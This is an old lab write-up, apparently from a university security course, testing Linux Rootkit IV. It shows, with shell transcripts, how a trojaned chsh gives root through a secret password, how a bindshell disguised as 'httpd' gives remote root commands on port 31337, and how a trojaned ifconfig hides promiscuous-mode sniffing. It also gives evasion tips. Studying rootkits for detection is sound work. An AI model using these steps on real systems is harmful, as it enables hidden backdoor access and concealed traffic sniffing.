Experimenting with Linux rootkits

Last updated: 21th of March 1999.

Analyzed by:
Johannes Kleimola, Johannes.Kleimola@hut.fi


Linux Rootkit IV

by Lord Somer
Released November 26, 1998

Linux Rootkit IV is the newest version of a well-known trojan-package for Linux system. The rootkit comes with following utility programs and trojaned system commands: bindshell, chfn, chsh, crontab, du, find, fix, ifconfig, inetd, killall, linsniffer, login, ls, netstat, passwd, pidof, ps, rshd, sniffchk, syslogd, tcpd, top, wted, z2

In this example I tested chsh, bindshell and ifconfig.

In the first example below, I compiled only chsh in /chsh-directory and used 'fix' to replace the original with the trojan version.

[root@parittaja chsh]# ls -al
total 201
drwxr--r--   2 jj       jj           1024 Mar 18 02:10 .
drwxr-xr-x  19 jj       jj           1024 Mar 18 02:09 ..
-rw-------   1 jj       jj            109 Nov 24 06:27 Makefile
-rwxr-xr-x   1 root     dzeijay    185448 Mar 18 02:09 chsh
-rw-------   1 jj       jj           8786 Nov 24 06:27 chsh.c
-rw-------   1 jj       jj           5283 Nov 24 06:27 setpwnam.c
[root@parittaja chsh]# make
gcc -c -pipe -O2 -m486 -fomit-frame-pointer -I. -I -DSBINDIR=\"\" -DUSRSBINDIR=\"\" -DLOGDIR=\"\"
-DVARPATH=\"\" chsh.c -o chsh.o
gcc -c -pipe -O2 -m486 -fomit-frame-pointer -I. -I -DSBINDIR=\"\" -DUSRSBINDIR=\"\" -DLOGDIR=\"\"
-DVARPATH=\"\" setpwnam.c -o setpwnam.o
gcc -s -N  chsh.o setpwnam.o   -o chsh
[root@parittaja chsh]# ls -al
total 210
drwxr--r--   2 jj       jj           1024 Mar 18 02:10 .
drwxr-xr-x  19 jj       jj           1024 Mar 18 02:09 ..
-rw-------   1 jj       jj            109 Nov 24 06:27 Makefile
-rwxr-xr-x   1 root     dzeijay    185448 Mar 18 02:10 chsh
-rw-------   1 jj       jj           8786 Nov 24 06:27 chsh.c
-rw-r--r--   1 root     dzeijay      5544 Mar 18 02:10 chsh.o
-rw-------   1 jj       jj           5283 Nov 24 06:27 setpwnam.c
-rw-r--r--   1 root     dzeijay      2488 Mar 18 02:10 setpwnam.o
[root@parittaja chsh]# ../fix /usr/bin/chsh ./chsh ../backup/chsh
fix: Last 17 bytes not zero
fix: Can't fix checksum
fix: File /usr/bin/chsh fixed
[root@parittaja chsh]# ls -al /usr/bin/chsh
-rwsr-xr-x   1 root     root       185448 Mar 18 02:08 /usr/bin/chsh
[root@parittaja chsh]# ls -al ../backup/chsh
-rwsr-xr-x   1 root     dzeijay      9620 Mar 18 02:11 ../backup/chsh
[root@parittaja chsh]#
As can be noticed, the fixing wasn't all that successful, and the trojaned program would easily be caught because of it's huge size.

Later on, it is easy to get a root shell by typing the specific password.

[jj@rikas jj]$ id
uid=511(jj) gid=530(jj) groups=530(jj)
[jj@rikas jj]$ chsh
Changing shell for jj.
New shell [/bin/tcsh]: satori
[root@rikas jj]# id
uid=0(root) gid=0(root) groups=530(jj)
[root@rikas jj]# exit
exit
[jj@rikas jj]$
A problem with chsh (and chfn) is that the original system commands in the newer Linux systems asks for the user password before asking for a new shell etc. The trojaned versions in these rootkits won't do that and are therefore easily discovered. But, it wouldn't require very much to implement that, or better even to trojan the newer versions of chsh and chfn. This reminds of the system specific requirements of trojan programs. A trojan coder (and user naturally!) must know how the original command works exactly, otherwise they are immediately caught. This limit's the portability and distribution of existing trojans to those specific systems (platforms, kernel versions, distrubution and program versions etc) they were made to.

The second example is more sophisticated rootkit/trojan "attack" and utilizes the "bindshell" program that comes in Linux Rootkit IV. Bindshell "binds" itself to a specific port and remains waiting for new connections. When a connection is established (from the same computer or from somewhere else), you can type commands ending with a semicolon, and the bindshell executes them in the system with root-priviledges (if binded as root). Very handy.

In the example below, bindshell is first compiled and right owners are set. Then I renamed it to 'httpd' to make it harder to notice and finally put it running in the background. It would be wise to pick a process-name that is widely used in the system and relatively small (of course you could do the bindshell program exactly as big as some specific process) to make it as transparent as possible. These run-time programs are harder to track in large systems where there are lots of user processes running.

[root@parittaja lrk4]# make bindshell
gcc -O2 -fomit-frame-pointer -pipe -I/usr/include/bsd -include /usr/include/bsd/bsd.h
bindshell.c  -lbsd -o bindshell
[root@parittaja lrk4]# chown root.root bindshell
[root@parittaja lrk4]# mv bindshell httpd
[root@parittaja lrk4]# ls -al httpd
-rwxr-xr-x   1 root     root         5339 Mar 18 02:36 httpd
[root@parittaja lrk4]# httpd
[root@parittaja lrk4]# rm httpd
[root@parittaja lrk4]# ps aux | grep httpd
nobody    1378  0.0  1.6  1168   504  ?  S  Mar 14   0:00 httpd 
nobody    1379  0.0  1.4  1168   436  ?  S  Mar 14   0:00 httpd 
nobody    1380  0.0  1.3  1168   432  ?  S  Mar 14   0:00 httpd 
nobody    1381  0.0  1.3  1168   416  ?  S  Mar 14   0:00 httpd 
nobody    1382  0.0  1.3  1168   428  ?  S  Mar 14   0:00 httpd 
root       319  0.0  1.1  1168   356  ?  S  Jan  5   0:00 httpd 
root     18281  0.0  0.7   856   224  ?  S   02:33   0:00 httpd 
root     18518  0.0  1.1   968   340  p4 S   02:37   0:00 grep httpd 
[root@parittaja lrk4]#
Now when the process is running, I can contact the victim computer from any other computer with telnet or likes and do what I wish with root-priviledges. Notice, that I don't even need a user account on the target machine - there's no login!
[jj@rikas jj]$ telnet parittaja 31337
Trying 10.0.0.61...
Connected to parittaja.sec.
Escape character is '^]'.
ls -al /root/private.txt;
-rw-r--r--   1 root     root            0 Mar 18 02:30 /root/private.txt
: command not found
rm -f /root/private.txt;
: command not found
ls -al /root/private.txt;
ls: /root/private.txt: No such file or directory
: command not found
exit;
Connection closed by foreign host.
[jj@rikas jj]$
As an example of those not-rootshell-giving-programs, let's take a look at 'ifconfig'. Ifconfig is a general interface configuration tool for many purposes. You can set up your interface or check it's current status. One classical feature of ifconfig is that it shows you if an ethernet network card attached to the system is in so called 'promiscous mode'. That would indicate, that somebody is sniffering the net-traffic flowing by the card. If the sniffering is of malicious intension, it would be preferrable to do it in silence. One solution is to trojan ifconfig.
[root@rikas net-tools-1.32-alpha]# /sbin/ifconfig
lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Bcast:127.255.255.255  Mask:255.0.0.0
          UP BROADCAST LOOPBACK RUNNING  MTU:3584  Metric:1
          RX packets:38794 errors:0 dropped:0 overruns:0 frame:0
          TX packets:38794 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 

eth0      Link encap:Ethernet  HWaddr 00:10:5A:3B:3C:0E  
          inet addr:10.0.0.81  Bcast:10.0.0.255  Mask:255.255.255.0
          UP BROADCAST RUNNING PROMISC MULTICAST  MTU:1500  Metric:1
          RX packets:3464563 errors:0 dropped:0 overruns:0 frame:0
          TX packets:260648 errors:0 dropped:0 overruns:0 carrier:12
          collisions:3099 
          Interrupt:10 Base address:0xb800 

[root@rikas net-tools-1.32-alpha]#
Ifconfig shows that the ethernet is running in promiscous mode. So let's replace it with a trojaned version (compiled earlier, comes with Linux Rootkit IV).
[root@rikas net-tools-1.32-alpha]# ../fix /sbin/ifconfig ./ifconfig ../backup/ifconfig
fix: Last 17 bytes not zero
fix: Can't fix checksum
fix: File /sbin/ifconfig fixed
[root@rikas net-tools-1.32-alpha]# ls -al /sbin/ifconfig
-rwxr-xr-x   1 root     root        19840 maalis 17 23:33 /sbin/ifconfig
[root@rikas net-tools-1.32-alpha]# ls -al ../backup/ifconfig
-rwxr-xr-x   1 root     dzeijay     25596 maalis 18 03:19 ../backup/ifconfig
[root@rikas net-tools-1.32-alpha]#
Now let's check again...
[root@rikas net-tools-1.32-alpha]# /sbin/ifconfig
lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Bcast:127.255.255.255  Mask:255.0.0.0
          UP BROADCAST LOOPBACK RUNNING  MTU:3584  Metric:1
          RX packets:38795 errors:0 dropped:0 overruns:0
          TX packets:38795 errors:0 dropped:0 overruns:0

eth0      Link encap:10Mbps Ethernet  HWaddr 00:10:5A:3B:3C:0E
          inet addr:10.0.0.81  Bcast:10.0.0.255  Mask:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:3464854 errors:0 dropped:0 overruns:0
          TX packets:260910 errors:0 dropped:0 overruns:0
          Interrupt:10 Base address:0xb800 

[root@rikas net-tools-1.32-alpha]#
...and the 'PROMISC' is gone.

Linux Rootkit IV compiles fine on an old RedHat 4.2 (libc5), but requires modifications for newer systems.

Fear...your system may be trojaned...